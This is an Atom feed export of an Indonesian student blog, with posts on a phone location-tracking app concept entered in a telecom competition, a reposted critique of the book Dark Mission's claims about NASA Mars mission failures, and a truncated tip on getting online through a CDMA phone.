<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5828929578213178164</id><updated>2012-01-28T16:45:33.454+07:00</updated><category term='Kompetisi Semata'/><title type='text'>"Include  Documents Knowledge Studies &amp; Hacking Technologies Articel"</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>21</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-4519751677005910797</id><published>2008-02-04T23:03:00.003+07:00</published><updated>2008-03-17T00:16:49.918+07:00</updated><title type='text'></title><content type='html'>Wah....Setelah usai ujian akhir semester,rasa nya lega untuk menikmati waktu yang begitu singkat untuk melanjutkan ke semester pendek lagi setelah untuk langsung ke semester 6 yang terakhir untuk D3. Bagaimana dengan saya untuk akhir semester ini..Yahh..belum bisa di selesaikan semua, Karena waktu yang akan mengatur hal itu semua...&lt;br /&gt;Yahh..jika di pikir-pikir sehabis ujian mau kemana yahh? Mau liburan sama  teman uang pada bokek and tidak untuk itu. &lt;br /&gt;b. Seseorang yang kecelakaan di jurang (ditengah Hutan) akan mampu dilacak oleh polisi lewat SitMap tersebut,Apabila korban memiliki ponsel yang  telah disupport software aplikasi oleh Vendor Mobile,maka dengan cara menghubungi nomor korban secara otomatis aplikasi sitMap ini akan berfungsi melacak korban di LCD ponsel Polisi walaupun korban tidak menjawabnya Karena Aplikasi tersebut akan berfungsi apabila salah satu caller dapat menghubungi nomor pada tujuan.Hal ini dikarenakan dibelakang simCard telah diberi Key Code oleh operator yang berfungsi mengindentifikasikan keberadaan objek.&lt;br /&gt;Lihat pada gambar……….&lt;br /&gt;&lt;br /&gt;Jalan terbaiknya lebih baik pulang kampung kan..&lt;br /&gt;nah,disana atuh kita bisa bantu orang tua semisal....saya sengaja buat dan menulis sedikit cerita ini agar teman-teman bisa mengikuti tata cara liburan sehabis ujian kan. &lt;br /&gt;&lt;br /&gt;So, ini suatu tradisional di negara kita ..hehehee....Okey bukan ini yang kita bahas...&lt;br /&gt;Boleh jadi begini karena suatu kesibukan. Sedikit saya singgah ke blog ini untuk posting atas project tahun  lalu 2005. Saya sengaja nge-posting data project ini karena ke rahasian privasi data. Untuk saat ini mungkin tsudah free buat di bacain oleh pengunjung. sebenarnya project ini sudah siapa pakai hasil arsitekturnya tapi lumayan buat yang pingin tahu tentang project yang saya buat 3 tahun yang lalu..Ini adalah project suatu kompetisi untuk kategori software yang didakan oleh  PT.Indosat Telecomunication.&lt;a href="http://www.indosat.com"&gt;&lt;/a&gt;&lt;br&gt;&lt;br /&gt;Ini meruakan project yang saya buat dulu dan memenangkan ke peringkat  3 kategori software regional sumatra.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;SitMap&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Software Aplication for SitMap&lt;/span&gt;&lt;br /&gt;SitMap adalah sistem kedudukan peta pada mobile phone,cellular phone,PDA dan sejenisnya yang bekerja dengan sistem pencarian  Objek secara cepat dan bekerja lewat komponen sistem Indraja pada jaringan komunikasi mobile via satelit.&lt;br /&gt;SitMap ini bukan site map pada link web yang biasa kita temukan disitus-situs website tertentu,melainkan hal ini adalah SitMap yang di support di sebuah ponsel  yang dapat digunakan dalam operasi pencarian objek atau seseorang lewat ponsel yang mendukung jaringan di Generasi ketiga (3G) yang disensor dengan sistim pencitra-an terhadap Objek di wilayah tertentu yang memiliki jaringan signal.&lt;br /&gt;Sistim aplikasi mendukung penangkapan objek yang tepat dengan kapasitas tinggi yang akan disampaikan melalui jaringan operator  ke mobile phone. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Kegunaan&lt;/span&gt;&lt;br /&gt;Sistem ini dapat kita gunakan pada  Operasi kemiliteran.Misalnya,dibidang Angkatan Militer,TNI/FBI,intel,polisi serta berfungsi bagi mereka yang Wisatawan seperti Guiding ,Turisman dan Bussinisman serta Masyarakat pada umumnya……&lt;br /&gt;Aplikasi ini juga berpengaruh besar untuk masyarakat yang mobile dalam sistem pencarian objek yang sedang mobile melalui phone Via jaringan komunikasi (satelit). &lt;br /&gt;Aplikasi software ini mengarah ke Sistim Pencitraan lewat jaringan satelit melalui cellular phone yang mana Aplikasi pada SitMap telah disediakan dan di Support terlebih dahulu oleh Perusahaan ponsel (vendor).Program dari sistem ini adalah panduan antara peta dan mobile phone, dimana Aplikasi software ini di support kedalam mobile phone yang tujuannya dalam pencarian objek sesama mereka yang mobile dan secara langsung akan melacak sipengguna ponsel lainnya antar jaringan operator.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;Cara Kerja :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Secara sederhana,SitMap ini akan bekerja secara langsung dan akan memberi respon ketujuan apabila di hubungi oleh penelpon.Dan secara otomatis akan mencari objek (Caller ID) di Aplikasi SitMap ini. Aplikasi ini akan muncul secara otomatis jika caller meneka tombol terima dari penelpon,maka SitMap akan memunculkan letak keberadaan kedua Objek tersebut setelah  loading pencarian selesai.&lt;br /&gt;(Lihat pada bagan I)&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_RREiKWjI3bo/R91LY-mSpcI/AAAAAAAAAFc/_aMsect9zZE/s1600-h/indosat+1+copy.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_RREiKWjI3bo/R91LY-mSpcI/AAAAAAAAAFc/_aMsect9zZE/s320/indosat+1+copy.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5178378039038485954" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;           Dalam bagan dijelaskan bahwa masing-masing Caller dimunculkan pada layar ponsel.&lt;br /&gt;Caller X juga dapat mengetahui keberadaan si penerima pada ponsel nya dan sebaliknya si penerima (Y) juga mengetahui keberadan si Penelpon X&lt;br /&gt;Contoh&lt;br /&gt;a. Seorang wisatawan yang lagi tersesat di tengah kota yang baru ia kunjungi,maka Ia dapat menggunakan sistem aplikasi SitMap ini untuk mencari keberadaan Guiding nya  dengan cara menghubungi  nomor pensel guiding tersebut,hal ini dapat Ia gunakan tanpa melalui percakapan,tentu untuk menghemat biaya Talk-timenya,juga penggunaan Aplikasi ini tentu dikenakan biaya pencarian pekilo-byte atau sesuai tarif GPRS yang di bebankan karena sistem ini melalui jaringan BTS  Operator.&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_RREiKWjI3bo/R91Mk-mSpdI/AAAAAAAAAFk/KgfEdWmCDu8/s1600-h/indosat+2.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_RREiKWjI3bo/R91Mk-mSpdI/AAAAAAAAAFk/KgfEdWmCDu8/s320/indosat+2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5178379344708543954" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Jaringan Operator akan terlebih dahulu memberi Interprestasi Citra kedalam ponsel yang mobile dan merespon Caller,maka ponsel akan menerima perintah lewat sensor yang diberikan menuju ponsel sehingga sistem ini akan meloading otomatis tanpa penggunaan shorcut pada ponsel dari caller.Hal Pencitraan berfungsi sebagaimana dengan Indrapraja.&lt;br /&gt;Dengan sistem software yang akan kita gunakan ini sangat  banyak pengaruhnya terhadap penggunaan pencarian Object bilamana masing-masing saling mendukung dalam sistem ini yang keunggulannya mampu memberi respon kepada masing-masing caller serta mampu mengumpulkan data foto object sebagaimana dengan cara kerja GPRS pada ponsel.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp3.blogger.com/_RREiKWjI3bo/R91NtumSpeI/AAAAAAAAAFs/WRTbC365API/s1600-h/indosat+3+copy.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_RREiKWjI3bo/R91NtumSpeI/AAAAAAAAAFs/WRTbC365API/s320/indosat+3+copy.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5178380594544027106" /&gt;&lt;/a&gt;&lt;br /&gt;Dengan hadirnya teknologi ini,pengguna ponsel tidak akan kwatir  lagi dalam pertualangan yang cukup jauh ….,karena sudah mampu mendukung pencarian objek secara nyata jika mereka tersesat di tengah hutan atau pegunungan yang jauh.,,,&lt;br /&gt;&lt;br /&gt;Aplikasi tergantung dari kecanggihan teknologi masing-masing Vendor penyedia produksi SitMap tesebut.&lt;br /&gt;     Software ini harus mendukung kapasitas memori yang tinggi dan mampu memuat fasilitas SitMap yang menampung jutaan wilayah di dunia yang telah disupport vendor untuk melakukan pelacakan otomatis oleh ponsel sesuai jaringan operator.&lt;br /&gt;     Dalam SitMap tersebut harus di beri nama-nama wilayah,daerah di dunia sesuai isi peta dunia yang berfungsi jika caller Roaming ke luar kota atau International,maka fungsi SitMap tetap berlaku dalam pencarian Objek dan mampu membaca wilayah tertentu.&lt;br /&gt;      Adanya kerja sama antar operator  didalam dan diluar negri,agar memudahkan pengaksesan SitMap oleh caller ketika di luar negri.&lt;br /&gt;     Objek yang ditunjukkan di ponsel bukan Objek Asli melainkan pemakain objek Numerik…(lihat pada skema II) &lt;br /&gt;&lt;a href="http://bp0.blogger.com/_RREiKWjI3bo/R91OP-mSpfI/AAAAAAAAAF0/5ENfeTICjWk/s1600-h/indosat+4+copy.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_RREiKWjI3bo/R91OP-mSpfI/AAAAAAAAAF0/5ENfeTICjWk/s320/indosat+4+copy.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5178381182954546674" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;  Maka dari fungsi itu,SitMap akan sempurna………&lt;br /&gt;&lt;br /&gt;1. Gambar Akses Jaringan&lt;br&gt;&lt;br /&gt;&lt;a href="http://bp3.blogger.com/_RREiKWjI3bo/R91O6umSpgI/AAAAAAAAAF8/S85mOaIL5Js/s1600-h/indosat+5+copy.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_RREiKWjI3bo/R91O6umSpgI/AAAAAAAAAF8/S85mOaIL5Js/s320/indosat+5+copy.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5178381917393954306" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Gambar Kinerja Ponsel&lt;br /&gt;&lt;a href="http://bp1.blogger.com/_RREiKWjI3bo/R91PgOmSphI/AAAAAAAAAGE/cJBaG_xpskM/s1600-h/indosat+6+copy.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_RREiKWjI3bo/R91PgOmSphI/AAAAAAAAAGE/cJBaG_xpskM/s320/indosat+6+copy.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5178382561639048722" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;3. Gambar The Cover SitMap ::&lt;br /&gt;&lt;a href="http://bp1.blogger.com/_RREiKWjI3bo/R91QJOmSpiI/AAAAAAAAAGM/CzmvqNiq0Zk/s1600-h/indosat+7+copy.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_RREiKWjI3bo/R91QJOmSpiI/AAAAAAAAAGM/CzmvqNiq0Zk/s320/indosat+7+copy.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5178383266013685282" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gambar diatas adalah suatu contoh wide screen pada ponsel yang khusus di rancang bagi pengguna yang lebih nyaman untuk di view...&lt;br /&gt;Program apakah yang di gunakan untuk rancangan ini? Apakah untu program OS Symbian, Smartphone Mobie Windows 2003, Atau Java on Runnig...tergantung dan kondisi kta disaat merancang elemen yang ada....&lt;br /&gt;Nantikan Kehadirannya....!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_RREiKWjI3bo/R91V4-mSpjI/AAAAAAAAAGU/CFyl__RGLYE/s1600-h/1_498445343l.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_RREiKWjI3bo/R91V4-mSpjI/AAAAAAAAAGU/CFyl__RGLYE/s320/1_498445343l.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5178389583910577714" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-4519751677005910797?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/4519751677005910797/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=4519751677005910797&amp;isPopup=true' title='5 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/4519751677005910797'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/4519751677005910797'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2008/02/wah.html' title=''/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_RREiKWjI3bo/R91LY-mSpcI/AAAAAAAAAFc/_aMsect9zZE/s72-c/indosat+1+copy.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-7229469959988946610</id><published>2008-01-21T14:12:00.001+07:00</published><updated>2008-01-21T21:53:11.822+07:00</updated><title type='text'>Ruang Angkasa (Space) &amp; Tata Surya (Orbiter)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_RREiKWjI3bo/R5RHHVaaOVI/AAAAAAAAACI/Crp6zkvEQtA/s1600-h/www.njrs.nl.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_RREiKWjI3bo/R5RHHVaaOVI/AAAAAAAAACI/Crp6zkvEQtA/s320/www.njrs.nl.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5157825664578632018" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="fullpost"&gt;&lt;br /&gt;A long time i don't have posting to my blog site,so..To my friends on the campus also on the area organization internet services and computers...I can't tell to yours about my time...&lt;br /&gt;On december until now i have busy on My examination test, holiday on Christmas day to happy new year too...so for that i can stress for thinking my busy then i can't posting for long time to december edition article.&lt;br /&gt;So, on the current we've for finally test....is Right? yeah thank you for understand,.&lt;br /&gt;Right...For now ! &lt;br /&gt;I want written my posting blog article to English language so no to indonesian language. May be this is English Edition Article on my blog the 1st. I know that and it's really to my friends..You must go reading my blog about " Space Edition Article"&lt;br /&gt;Coz..I have very interesting for that when i look at on television, Magazine so From Books, so very nice to it...Can yours Interesting..? &lt;br /&gt;If my article no completed to your idea..please written on comment box...!&lt;br /&gt;Thank you to my friends on the campus..Please do not angry about long time no written here ago...!!&lt;br /&gt;&lt;br /&gt;As the year 2007 drew to a close and we prepared to enter 2008, we asked you which news stories of 2007 really caught your interest. You responded and we present your top 5 choices for Top Astronomy and Space News Stories of 2007.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Space &amp; NASA Mission&lt;span style="font-style:italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;http://space.about.com/ ==&gt;&gt; For continue Information !&lt;br /&gt;This is time i've written about space and other planet orbiter.&lt;br /&gt;On current like children and study universal is interesting to about space. Their like for looking is places under planets between on the sky also earth.. &lt;br /&gt;Space the sometimes isn't dangerous?..Okey i want tell yours..&lt;br /&gt;Space disasters attract so much public attention and often involve such complex and subtle sequences of events that there’s an entire Internet literature of “crackpot causes” on par with JFK assassination myths. To the degree that innovative analysis is often critical to reconstructing—from partial and often garbled evidence—a shocking causal sequence leading from goodness to disaster, the initial investigation period demands that critical judgment be held somewhat in check so as not to discourage imagination.&lt;br /&gt;&lt;br /&gt;However, once a logical reconstruction gels, is tested, and then is ultimately verified by being implemented and hence reducing future flight hazards, that official explanation achieves a substantial level of authenticity. But not to everyone’s satisfaction, apparently, as a search of still-thriving non-traditional explanations of the Apollo 1 fire, the Apollo 13 breakdown, the Challenger disintegration, and the Columbia catastrophe, whose fifth anniversary now approaches.&lt;br /&gt;&lt;br /&gt;For example, in the case of Columbia, YouTube is full of videos from self-styled experts still convinced a freak bolt of ionospheric lightning crippled the spaceship. A famous photograph supposedly shows that bolt, even though space experts have long been satisfied that the bizarre image was merely the result of camera jiggle during a time-lapse exposure.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_RREiKWjI3bo/R5SvI1aaOWI/AAAAAAAAACQ/3x2cPoG1vqU/s1600-h/1043a.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_RREiKWjI3bo/R5SvI1aaOWI/AAAAAAAAACQ/3x2cPoG1vqU/s320/1043a.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5157940039557724514" /&gt;&lt;/a&gt;&lt;br /&gt;Apart from the comic relief value of such crackpot ideas, there’s a darker aspect of this kind of cultural pathology, just as there are serious analyses pointing to the socially toxic effects of the JFK assassination “alternate theories”. For spaceflight, being distracted by the wrong cause means being tempted by the wrong fix. That’s never amusing, and often can be expensive.&lt;br /&gt;&lt;br /&gt;As an egregious “bad example” of wrong causes, a recent book (Dark Mission, by Richard Hoagland and Michael Bara) spent a lot of time muddying the waters over a series of NASA Mars mission failures in the 1990s. This isn’t just some remote corner of an intellectual ghetto on the Internet—the book came within one tick mark of making it onto the New York Times bestsellers list for paperback non-fiction (it reached #21 nationwide). So as an exercise in cultural self-defense and in proselytizing sound “space safety” history, here is a detailed look at the claims, the delusions, and the errors in that book’s treatment of these space accidents.&lt;br /&gt;&lt;br /&gt;Mars Observer (1993)&lt;br /&gt;Dark Mission portrays the failure of the Mars Observer probe in 1993 as a deliberate act by NASA to prevent the publication of its expected photographs of artificial Martian ruins. But the description of the events is inconsistent with well-documented accounts, reports non-existent events, and omits well-known explanations for important features of the probe’s flight plan. All of this can be easily confirmed through Internet searches.&lt;br /&gt;&lt;br /&gt;Dark Mission, pp. 87–88: “NASA, in another unprecedented move, had inexplicably ordered Mars Observer to shut off its primary data stream prior to executing a key pre-orbital burn… Because NASA had violated the first rule of space travel—you never turn off the radio—no cause for the probe’s loss was ever satisfactorily determined.”&lt;br /&gt;&lt;br /&gt;Actually, whether a radio is turned on or off, practically all orbital insertion burns on lunar and planetary missions occur out of radio contact. This is a result of the geometric alignment of the probe passing behind the planet (or moon) and hence having its radio signals blocked. So keeping a probe’s radio turned on during these periods is about as useless as installing windshield wipers.&lt;br /&gt;&lt;br /&gt;To my knowledge, there is no “first rule of spaceflight” about never turning radios off. Interplanetary probes do this all the time. The “rule” is imaginary. I can’t find any documentation anywhere that provides this “rule”. I suspect that the Dark Mission authors just imagined it.&lt;br /&gt;&lt;br /&gt;The maneuver that Mars Observer was to perform was not even, as Dark Mission claims, a “key pre-orbital burn”. It was not a burn of any kind. Instead, it was the firing of explosive bolts to open two pressurant tanks that would allow the fuel to be pushed into the probe’s engines several days later.&lt;br /&gt;&lt;br /&gt;There is nothing “inexplicable” about turning off the radio for the firing of the pyrotechnic bolts. The sharp shock of the detonations was thought to be a hazard to the hot filament in a key radio component, which is much less brittle when cold. Hot filaments can shatter under shocks that cold ones wouldn’t even notice.&lt;br /&gt;&lt;br /&gt;Why was the radio turned off? “In accordance with the mission’s published flight rules, the transmitter on the spacecraft had been turned off during the propellant-tank Pressurization Sequence on 21 August… To protect the spacecraft radio frequency transmitter from damage during the Pressurization Sequence (albeit a very low probability), the software included a command to turn off the Mars Observer transponder and radio frequency (RF) telemetry power amplifier for a period of ten minutes. This was a standard procedure that had been implemented several times earlier during the mission.”&lt;br /&gt;&lt;br /&gt;The report gave further details: “This sequence included the firing of two normally-closed pyrotechnic valves, that would allow high-pressure gaseous helium to pressurize the nitrogen tetroxide oxidizer tank and the monomethyl hydrazine fuel tank.” More on p. 25 of the report: “Concern existed in the Mars Observer project team that the pyro-firing event might damage the traveling wave tube amplifiers in the spacecraft telecommunications system if the amplifiers were left on.”&lt;br /&gt;&lt;br /&gt;Nor is it true that “no cause for the probe’s loss was ever satisfactorily determined”, as Dark Mission claims. To the contrary, in hindsight it was excruciatingly clear what almost certainly happened.&lt;br /&gt;&lt;br /&gt;“The Board was unable to find clear and conclusive evidence pointing to a particular scenario as the ‘smoking gun’,” the report explained, but “the Board concluded through a process of elimination that the most probable cause of the loss of downlink from the Mars Observer was a massive failure of the pressurization side of the propulsion system. The Board also concluded that the most probable cause of that failure was the unintended mixing of nitrogen tetroxide (NTO) and monomethyl hydrazine (MMH) in the titanium tubing on the pressurization side of the propulsion system. This mixing was believed by the Board to have been enabled by significant NTO migration through check valves during the eleven-month cruise phase from Earth to Mars. This conclusion is supported (but not proven) by NTO transport-rate data acquired by JPL, by NTO/MMH reaction simulations performed by [the Naval Research Laboratory], and by NTO/MMH mixing tests performed by AFPL [Air Force Propulsion Labs].”&lt;br /&gt;&lt;br /&gt;As to why the propulsions system hardware, adapted from a military prop module that normally needed a lifetime of only 12 hours, was used for a year-long mission, the report added that “Too much reliance was placed on the heritage of spacecraft hardware, software, and procedures, especially since the Mars Observer mission was fundamentally different from the missions of the satellites from which the heritage was derived.” It specifically criticized the propulsion system for “Inappropriate isolation mechanisms between fuel and oxidizer for an interplanetary mission.”&lt;br /&gt;&lt;br /&gt;“The original [money-saving] philosophy of minor modifications to a commercial production-line spacecraft was retained throughout the program,” the report continued. “The result was reliance on design and component heritage qualification that was inappropriate for the mission. Examples of this reliance were the failure to qualify the traveling wave tube amplifiers for pyro firing shock [and] the design of the propulsion system.”&lt;br /&gt;&lt;br /&gt;Whether or not this particular proposed failure mode is plausible (and from my own research I’ve concluded it was very plausible), it remains untrue to state (as Dark Mission does) that turning off the radio was “inexplicable” (and a violation of a “rule number one”) and that no satisfactory explanation for the failure was ever determined. Leaving out these easily-available views resulted in a passage that I think was incomplete and misleading.&lt;br /&gt;&lt;br /&gt;Mars Polar Lander (1999)&lt;br /&gt;I noted several Dark Mission references to me personally that deal with the 1999 failure of the Mars Polar Lander (MPL) probe. On page 316: “James Oberg published a story on UPI that accused JPL employees of knowing full well that the MPL was doomed (due to software problems related to the spacecraft’s landing legs) from very early on in the mission.” On page 317 this is called a “bizarre UPI accusation”. The brief account of the UPI article is garbled almost beyond recognition, casting serious doubts on the reading comprehension level of the author who did this section. In the one-sentence summary (“James Oberg published a story on UPI that accused JPL employees of knowing full well that the MPL was doomed due to software problems related to the spacecraft’s landing legs from very early on in the mission”), practically every word is wrong.&lt;br /&gt;&lt;br /&gt;Alleged foreknowledge of the impending failure had nothing to do with software. The article stated:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;As explained privately to UPI, the Mars Polar Lander vehicle’s braking thrusters had failed acceptance testing during its construction. But rather than begin an expensive and time-consuming redesign, an unnamed space official simply altered the conditions of the testing until the engine passed. “They tested the [engine] ignition process at a temperature much higher than it would be in flight,” UPI’s source said. This was done because when the [engines] were first tested at the low temperatures predicted after the long cruise from Earth to Mars, the ignition failed or was too unstable to be controlled. So the test conditions were changed in order to certify the engine performance. But the conditions then no longer represented those most likely to occur on the real space flight. “I’m as certain as I can be that the thing blew up,” the source concluded.&lt;/i&gt;&lt;br /&gt;That potential failure mode was not known “from very early on in the mission”, but only at the very end: “Following the September loss of the first spacecraft due to management errors, NASA had initiated a crash review of the Mars Polar Lander to identify any similar oversights. According to UPI’s source, the flaws in the [engine] testing were uncovered only a few days before the landing was to occur on December 3. By then it was too late to do anything about it.”&lt;br /&gt;&lt;br /&gt;The specific software problem with the landing leg sensor scenario was not known before the landing at all, and the UPI article clearly states that it was discovered after the crash: “The Mars Polar Lander investigation team has also reportedly identified a second fatal design flaw that would have doomed the probe even if the engines had functioned properly. Post-accident tests have shown that when the legs are initially unfolded during the final descent, springs push them so hard that they ‘bounce’ and trigger the microswitches by accident. As a result, the computer receives what it believes are indications of a successful touchdown, and it shuts off the engines. Ground testing prior to launch apparently never detected this because each of the tests was performed in isolation from other tests. One team verified that the legs unfolded properly. Another team verified that the microswitches functioned on landing.”&lt;br /&gt;&lt;br /&gt;In a simple reading comprehension verification test, this one incident indicates a severe problem with the book’s authors’ ability to understand, and restate, simple English about space technology. In one sentence, there were three swings, and three misses—three strikes.&lt;br /&gt;&lt;br /&gt;By the way, after NASA’s official denunciations of the UPI story I had written (I have the honor of being the only journalist ever denounced by name in an official NASA press release), the story turned out even worse than I had written. Space engineers hadn’t fudged the test results, after all. My source was wrong about this, this time, the first occasion in a long sequence of accurate leaks. What was far worse was that NASA had decided that any such tests weren’t even necessary. The engine ignition system was never tested at temperatures expected out at Mars, because (JPL said) the engine had already flown in space on some other mission and so didn’t need to be requalified. But NASA press officials, despite repeated inquiries from me and promises of cooperation from them, never disclosed the space mission(s) that these special engines had been originally flown on.&lt;br /&gt;&lt;br /&gt;The same design engines are installed aboard the Mars Phoenix lander now on route. Hopefully, improvements have been made.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-7229469959988946610?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/7229469959988946610/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=7229469959988946610&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/7229469959988946610'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/7229469959988946610'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2008/01/ruang-angkasa-space-tata-surya-orbiter.html' title='Ruang Angkasa (Space) &amp; Tata Surya (Orbiter)'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_RREiKWjI3bo/R5RHHVaaOVI/AAAAAAAAACI/Crp6zkvEQtA/s72-c/www.njrs.nl.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-1298766999103135472</id><published>2007-11-27T12:58:00.000+07:00</published><updated>2007-11-27T13:24:13.938+07:00</updated><title type='text'>Koneksi Internet Global Via CDMA</title><content type='html'>Tujuan dari bahasan ini merupakan suatu bantuan untuk teman-teman yang lagi ngotot ingin ngeNet pake HP sendiri di PC, saya sering bangat di tanyain ama teman² sekampus yang nyoto ingin ngenet sendiri dari kamar kos-an..malah minta di pasangin antena kaleng lagii dari kos sana-kekos sini..yahh cape dehh...kan mesti itung² dulu jaraknya apalagi kita ingin gratisan sadap jaringan dari kampus sebelah..hehehe.... :-)&lt;br /&gt;Yahh gua saranin dari pada cape² pasang - ngukur - desain - beli - cari tools - kan masih rumit walau murah ,lebih baik instan tapi bayar di belakang... huh....&lt;br /&gt; Punya HP CDMA? yeah...koneksikan aja lewat Operator layanan anda...saya saran kan anda harus mempersiapkan tools yang di butuhkan tapi ingat loh..walau gampang pasang nya hanya 20 menit-an tapi layanan ini ga tanggung-tanggung pasang politik ngurasin duit kita perbulan...&lt;br /&gt;Sekarang anda mesti " be careefull" cari tarif murah nge net di PC via operator layanan telekomunikasi..alasannya? yeahh ..tentu donk..apakah anada mau di bodoh² i buat bayar full tapi alkses ga memuaskan..?&lt;br /&gt;sekarang pertimbangkan dulu antara operator layanan ini :&lt;br /&gt; - Flexy   = Tarif agak mahal walau juga akses dan layanan langsung 